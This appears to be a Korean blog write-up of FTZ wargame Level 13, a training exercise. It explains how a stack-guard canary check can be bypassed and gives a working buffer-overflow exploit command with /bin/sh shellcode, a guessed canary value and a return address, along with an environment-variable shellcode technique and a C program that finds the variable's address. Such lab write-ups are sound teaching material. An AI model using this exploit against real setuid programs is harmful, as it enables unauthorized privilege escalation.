또 BOF다...


그런데 long이라는 16진수 값이 생겼고,  중반에 if를 보면 i값이 변하면 버퍼오버플로우 경고 후 종료하는 구조로 이루어져 있다.

여기서, 이 문제를 푸는데 필요한 개념은 스택가드이다.


스택가드란 간략하게 BOF를 막기위한 방법중 하나로써, 특정한 변수를 선언하고 그 변수의 값이 일치한지 확인하여

만약 일치하지 않는다면 BOF 경고를 한다.



/tmp로 attackme를 복사 후에 디버깅을 해보자



위와 같이나오고 바로 스택가드부분을 검사하는 부분을 BP를 걸어주자<main+69>

b *0x080484e5

r `python -c 'print "A"*1024'`

x/264x $esp

를 차례대로 입력하고 아래로 내려가면



\x41이 채워지고 12바이트 띄우고 스택가드가 있는것을 볼수 있다.

여기서 더미가 12바이트라는것도 알 수 있고. 추가적으로 

메모리 계산을 해보면


1048중에

1024, 12, 4바이트를 빼면 8바이트가 더 남고 이 8바이트는 SFP와 스택가드사이의 더미값이다.


그럼 공격 코드를 작성해보자. 쉘코드는 25바이트 짜리 사용하겠다.


./attackme `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*999+"A"*12+"\x67\x45\x23\x01"+"A"*12+"\x40\xd4\xff\xbf"'`

가 될것이다.


(갑자기 세기멘테이지 에러뜸,, 트러블 슈팅중..)

bash환경변수로 주소값까지 구해서 했는데도 안됨


---------------------------------

추가


세그멘테이션 에러로인해 환경변수를 사용하였다... 이게 제일 확실한 듯하다.

아래와같이 쿠션"\x90"을 99개넣고 25바이트짜리 쉘코드를 code라는 이름으로 환경변수 작성하고




환경변수 주소를 가져오는 프로그램을 프로그래밍 한다.

#include<stdio.h>


int main(void)

{

printf("0x%x\n",getenv("code"));

return 0;

}


주소를 얻은뒤에 아래와 같이 공격하면 쉘코드를 획득할 수가 있다.




'Pwnable > FTZ' 카테고리의 다른 글

FTZ Level15 풀이(해결)  (0) 2016.07.16
FTZ Level14 풀이  (0) 2016.07.16
FTZ Level12 풀이(EggShell로 해결)  (0) 2016.07.16
FTZ Level11 풀이  (0) 2016.07.15
FTZ Level10 풀이  (0) 2016.07.15

+ Recent posts